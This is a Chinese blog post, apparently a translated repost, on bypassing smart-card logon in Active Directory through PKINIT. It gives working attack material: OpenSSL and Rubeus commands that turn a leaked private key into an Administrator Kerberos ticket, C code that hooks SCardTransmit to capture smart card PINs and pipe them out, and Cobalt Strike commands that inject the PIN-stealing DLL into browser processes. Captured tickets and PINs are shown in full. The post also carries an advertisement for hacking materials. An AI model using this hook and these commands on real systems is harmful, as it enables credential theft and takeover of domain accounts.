最近,我參與了一項攻擊基于智能卡的活動目錄的作業,實際上,你根本不需要使用物理智能卡來驗證登錄這個活動目錄,證書的屬性決定了它是否可以用于基于智能卡進行登錄,因此,如果你能獲得相應的私鑰,那么就可以繞過智能卡的驗證實作登錄,
當用戶被設定為基于智能卡進行登錄時,在它的默認配置中,域控制器將接受任何由它所信任的證書授權機構簽署的、符合以下規范的證書:
● CRL的分配點不可為空、并且可用
● 證書的密鑰要使用數字簽名
● 增強型的密鑰使用:
- 智能卡登錄
- 客戶端認證(可選,用于基于SSL的認證)
● 包含用戶UPN的主題替代名稱
此外,如果啟用了允許使用無擴展密鑰的證書屬性組策略,那么就沒必要使用增強型的密鑰,因為這可能會導致發給域用戶或計算機的其他型別的證書,

下面是我們的具體的研究程序,
PKINIT
正如我們所知的,域內的活動目錄會使用Kerberos協議來驗證域名,攻擊者可以使用像Rubeus、Mimikatz、Kekeo和impacket這樣的工具來針對域環境進行利用,
那么,基于 PKI 的認證與 Kerberos 的認證有什么關系呢?早在 2006 年,微軟和航空航天公司聯合提交了 RFC 4556,這協議引入了對 Kerberos 預認證的公鑰密碼學的支持,
預認證方法可以防止Kerberos對賬戶密碼進行離線暴力攻擊,如果沒有在AD賬戶上啟用預認證,那么用戶就容易受到AS-REP的攻擊,隨著預認證的引入,那么最初的AS-REQ Kerberos請求就會包含一個加密的時間戳,并且這個用來加密的密鑰來自于用戶的密碼,這向 KDC 證明了請求登錄的用戶確實知道賬戶密碼,因此,KDC就會回傳一個與用戶密碼相關的加密的AS-REP(對AS-REQ的回應),預認證資料包含的一個時間戳也可以防止重放攻擊,如果預認證資料無效,KDC會回傳一個錯誤,而且也不允許對AS-REP回應密鑰進行暴力破解,如果一個攻擊者能夠在一個網路中抓取 Kerberos的回應資料包,那么針對AS-REP 的修改仍然是可能的,
基于 PKI 的認證同樣也是以類似的方式進行作業,它首先會使用 Kerberos 預認證來證明用戶是他們所說的那個人,同樣,它也會使用一個時間戳,但不是使用用戶的密碼生成的密鑰對資訊進行加密,而是用屬于證書的私鑰以PKCS #7加密資訊語法(CMS)的形式來簽署資訊,該私鑰可以存盤于物理智能卡上,并且也可以以其他的形式進行存盤,這其中也包括不那么安全的方法,一旦KDC驗證了CMS有效載荷的簽名,并且一切正常,那么AS-REP就會回傳給客戶,PKINIT也會對AS-REP回應進行加密,因為在基于PKI的Kerberos登錄程序中并沒有使用密碼,所以用戶密鑰對客戶來說是未知的,為了解決這個問題,AS-REP要么使用一個使用Diffie-Hellman密鑰交換演算法獲得的密鑰進行加密,要么使用初始AS-REQ請求中使用的證書公鑰進行加密,并且這個初始請求也包含了關于哪種方法是首選的具體細節,
從這里開始,其他的一切還都保持不變,客戶端將會獲得一個有效的TGT,可用于申請TGS票據,并且該證書在TGT的有效期內就不再使用,在再次需要該證書的私鑰之前,一般會保持7天的有效期,當然,這并不是說在Windows登錄期間,私鑰在7天內不會被使用,如果機器被鎖定或用戶已經被注銷,那么Windows會像基于密碼的登錄那樣強制進行認證,但從攻擊者的角度來看,如果他們已經獲得了TGT,這其實就已經不重要了,
所以這里我開始嘗試在Rubeus中添加對PKINIT的支持,并創建了一個請求,
【----幫助網安學習,以下所有學習資料免費領!加vx:yj009991,備注 “博客園” 獲取!】
① 網安學習成長路徑思維導圖
② 60+網安經典常用工具包
③ 100+SRC漏洞分析報告
④ 150+網安攻防實戰技術電子書
⑤ 最權威CISSP 認證考試指南+題庫
⑥ 超1800頁CTF實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
⑧ APP客戶端安全檢測指南(安卓+IOS)
基于PKCS#12的認證(PFX)
這里我們討論的第一個攻擊場景是用戶私鑰泄露問題,我們可以使用一個PKCS#12證書庫,我們可以使用一個用戶的證書以及相應的私鑰來生成一個Kerberos TGT,一旦你有了私鑰blob和相應的證書,那么你就可以使用OpenSSL來生成PKCS12存盤,如下所示:
openssl pkcs12 -export -out leaked.pfx -inkey privateKey.key -in certificate.crt
一旦你生成了一個有效的證書存盤,那么我們就可以使用Rubeus中新增加的內容來請求TGT了,如果你決定用密碼來保護證書庫,那么你可以在命令列中加入/password選項,
Rubeus.exe asktgt /user:Administrator /certificate:leaked.pfx /domain:hacklab.local /dc:dc.hacklab.local
然后,Rubeus將生成一個基于PKINIT的AS-REQ,使用我們所提供的證書庫來驗證用戶,如果一切順利,KDC就會回傳資料包,那么你就應該會得到類似的輸出:
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.5.0
[*] Action: Ask TGT
[*] Using PKINIT with etype rc4_hmac and subject: CN=Administrator, CN=Users, DC=hacklab, DC=local
[*] Building AS-REQ (w/ PKINIT preauth) for: 'hacklab.local\Administrator'
[+] TGT request successful!
[*] base64(ticket.kirbi):
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
ServiceName : krbtgt/hacklab.local
ServiceRealm : HACKLAB.LOCAL
UserName : Administrator
UserRealm : HACKLAB.LOCAL
StartTime : 02/04/2023 16:01:12
EndTime : 03/04/2023 02:01:12
RenewTill : 09/04/2023 16:01:12
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : 6tIiFytU5V2cgSpXt8skdw==
那么由此產生的 .kirbi Base64 編碼字串也可用于從 KDC中獲得正常的 TGS,
在我成功地在這個工具中使用了PKINIT之后,我開始思考我們該如何使用物理智能卡做認證,一旦用戶的機器受到攻擊破壞,那么使用智能卡進行認證最大的問題就是密碼,如果不知道PIN碼,那么我們就無法生成一個有效的AS-REQ,蠻力破解是不可行的,因為進行3次無效的嘗試,那么系統就會先進行賬號鎖定,
其中的一個思路就是,當用戶需要解鎖智能卡時可以嘗試捕獲PIN碼,這主要用于機器解鎖或者登錄網路上其他需要智能卡認證的服務,
經過一番調查,我發現了WinSCard DLL,這個DLL是與Smard Card服務通信的網關,然后這個服務就會控制智能卡的通信,一般來說,任何與Windows上的智能卡進行通信的東西都需要使用WinSCard API,
我所研究的WinSCard.dll中最重要的函式是SCardTransmit API,這個API是用于傳輸智能卡ISO/IEC 7816規范中所要求的應用協議資料單元(APDU)的API,這個是最底層的傳輸單元,主要是用于智能卡通信,
如果我們hook這個API,那么我們應該就能夠監視傳送到卡上的PDU,
LONG SCardTransmit(
SCARDHANDLE hCard,
LPCSCARD_IO_REQUEST pioSendPci,
LPCBYTE pbSendBuffer,
DWORD cbSendLength,
LPSCARD_IO_REQUEST pioRecvPci,
LPBYTE pbRecvBuffer,
LPDWORD pcbRecvLength
);
pbSendBuffer引數是向卡片發送的APDU資料包,而pbRecvBuffer則是智能卡回傳的回應資料,
雖然ISO智能卡規范對某些命令類別和命令資料結構做出了限制,但這些限制通常是針對某些具體應用的,而不是由ISO智能卡規范本身定義的,并且為了滿足身份訪問的需求,NIST制定了個人身份驗證(PIV)SP 800-73-4規范,該規范涵蓋了智能卡應如何處理注冊到設備上的證書,以及實作該規范的所有APU,這個不需要太多的細節,在PIV規范中最重要的是第3.2.1節VERIFY卡命令,這些內容闡述了VERIFY APDU是如何在允許訪問存盤在卡片上的私鑰之前進行PIN的驗證,
因此,有了ISO規范中的資訊以及PIV規范中的3.2.1節,我們應該能夠寫一個hook程式來捕獲傳送到卡上的PIN,
DWORD WINAPI SCardTransmit_Hooked(SCARDHANDLE hCard,
LPCSCARD_IO_REQUEST pioSendPci,
LPCBYTE pbSendBuffer,
DWORD cbSendLength,
LPSCARD_IO_REQUEST pioRecvPci,
LPBYTE pbRecvBuffer,
LPDWORD pcbRecvLength) {
char debugString[1024] = { 0 };
DWORD result = pOriginalpSCardTransmit(hCard, pioRecvPci, pbSendBuffer, cbSendLength, pioRecvPci, pbRecvBuffer, pcbRecvLength);
//Check for CLA 0, INS 0x20 (VERIFY) and P1 of 00/FF according to NIST.SP.800-73-4 (PIV) specification
if (cbSendLength >= 13 && pbSendBuffer[0] == 0 && pbSendBuffer[1] == 0x20 && (pbSendBuffer[2] == 0 || pbSendBuffer[2] == 0xff)) {
//Check card response status for success
bool success = false;
if (pbRecvBuffer[0] == 0x90 && pbRecvBuffer[1] == 0x00) {
success = true;
}
char asciiPin[9];
sprintf_s(debugString, sizeof(debugString), "Swipped VERIFY PIN: Type %s, Valid: %s, Pin: %s", GetPinType(pbSendBuffer[3]), success ? "true" : "false",
GetPinAsASCII(pbSendBuffer+5, min(pbSendBuffer[4],8), asciiPin));
SendPINOverPipe(debugString);
}
return result;
}
API呼叫做的第一件事就是呼叫原始的SCardTransmit函式,我們不僅需要研究資料請求,而且還要知道卡的回應資料,這樣我們就可以確定傳送給卡片的PIN碼是否正確,然后,該函式會查找VERIFY PDU來隔離驗證PIN的命令,一旦我們確定了VERIFY PDU,那么我們就可以開始檢查結果,0x90 0x00都表示PIN被審核,接下來,我們可以從發送緩沖區的偏移量5(PDU結構中的命令資料)的位置處提取PIN碼,最后,我們需要通過一個命名管道來傳輸PIN碼的詳細資訊,然后使用資料接收程式進行捕獲,
我們可以將這一功能打包到一個DLL中,該DLL也能夠進行反射性加載,那么我們可以將該DLL注入到我們所研究的行程中去,
Demo
假設在存在該漏洞的情況下,并且我已經有了一個Cobalt Strike信標連接到了受害者的作業站上,我所使用的是管理員賬戶,但其實普通用戶的賬戶也可以進行使用,PinSwipe DLL也可以被注入到一個高權限的行程中,如lsass,當獲得管理權限時,可以在登錄時刷出PIN碼,但使用普通用戶身份進行訪問時,你將會被限制在用戶模式行程中,如Internet Explorer等等,
所以首先我們需要啟動PinSwipeListener,這將可以dump出智能卡登錄EKU的用戶證書資訊,
beacon> execute-assembly C:\tools\PinSwipeListener.exe
[*] Tasked beacon to run .NET program: PinSwipeListener.exe
[+] host called home, sent: 112171 bytes
[+] received output:
[+] Found smart card logon certificate with thumbprint 55C65AB0B9B6A893A6E8449FB34DD61093B231D8 and subject CN=Administrator, CN=Users, DC=hacklab, DC=loca
有了監聽器,我們就需要選擇將PinSwipe.dll注入到哪些行程中,像Internet Explorer、Chrome等都是很好的選擇,因為在智能卡認證的環境中,這些程式會經常彈出請求PIN的資訊,在這里,我運行的是Internet Explorer,它的PID是 2678,實際上,IE和Chrome一樣,為瀏覽器的各種標簽都啟動了不同的子行程,所以你需要注入一個正確的行程,同時也可以使用其他更高級的攻擊腳本,不斷尋找新的IE行程并注入它們,
beacon> dllinject 2678 C:\tools\PinSwipe.dll
[*] Tasked beacon to inject C:\tools\PinSwipe.dll into 2678
一旦用戶在對話框中輸入了他們的PIN碼,PinSwipe就會捕獲請求并通過命名管道將其發送給PinSwipeListener,

[+] received output:
[+] PinSwipe: Swipped VERIFY PIN: Type PIV Card Application, Valid: true, Pin: 123456
PinSwipe的輸出除了顯示輸入的PIN號碼外,還將顯示輸入的PIN是否正確,一旦你獲取了PIN碼,你就可以使用新的Rubeus功能來請求使用用戶的物理智能卡進行TGT驗證,這一次,我們可以使用/certificate引數來指定所要使用的證書的檔案名,
beacon> execute-assembly C:\tools\Rubeus.exe asktgt /user:Administrator /domain:hacklab.local /dc:192.168.74.2 /certificate:55C65AB0B9B6A893A6E8449FB34DD61093B231D8 /password:123456
[*] Tasked beacon to run .NET program: Rubeus.exe asktgt /user:Administrator /domain:hacklab.local /dc:192.168.74.2 /certificate:55C65AB0B9B6A893A6E8449FB34DD61093B231D8 /password:123456
[+] host called home, sent: 357691 bytes
[+] received output:
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.5.0
[*] Action: Ask TGT
[+] received output:
[*] Using PKINIT with etype rc4_hmac and subject: CN=Administrator, CN=Users, DC=hacklab, DC=local
[*] Building AS-REQ (w/ PKINIT preauth) for: 'hacklab.local\Administrator'
[+] received output:
[+] TGT request successful!
[+] received output:
[*] base64(ticket.kirbi):
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
ServiceName : krbtgt/hacklab.local
ServiceRealm : HACKLAB.LOCAL
UserName : Administrator
UserRealm : HACKLAB.LOCAL
StartTime : 04/04/2023 19:55:29
EndTime : 05/04/2023 05:55:29
RenewTill : 11/04/2023 19:55:29
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : 5K2V8xIaGbUS8ZYqTl120Q==
那么到此結束,你現在已經有了一個TGT,并且可以在7天內申請新的TGS票,然后訪問其他的網路資源,
當你在網路中使用物理智能卡時,最好的辦法是擁有需要手動按鍵的卡,或者最好是生物識別閱讀器,這樣一來,對用戶賬戶進行的任何攻擊都不會產生TGT資料,因為智能卡會在沒有物理按鍵或生物識別資料存在的情況下阻止對私鑰的訪問,
更多網安技能的在線實操練習,請點擊這里>>
合天智匯:合天網路靶場、網安實戰虛擬環境
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/552499.html
標籤:其他
上一篇:Fast-GRPC: 用python輕松開發grpc介面
下一篇:返回列表
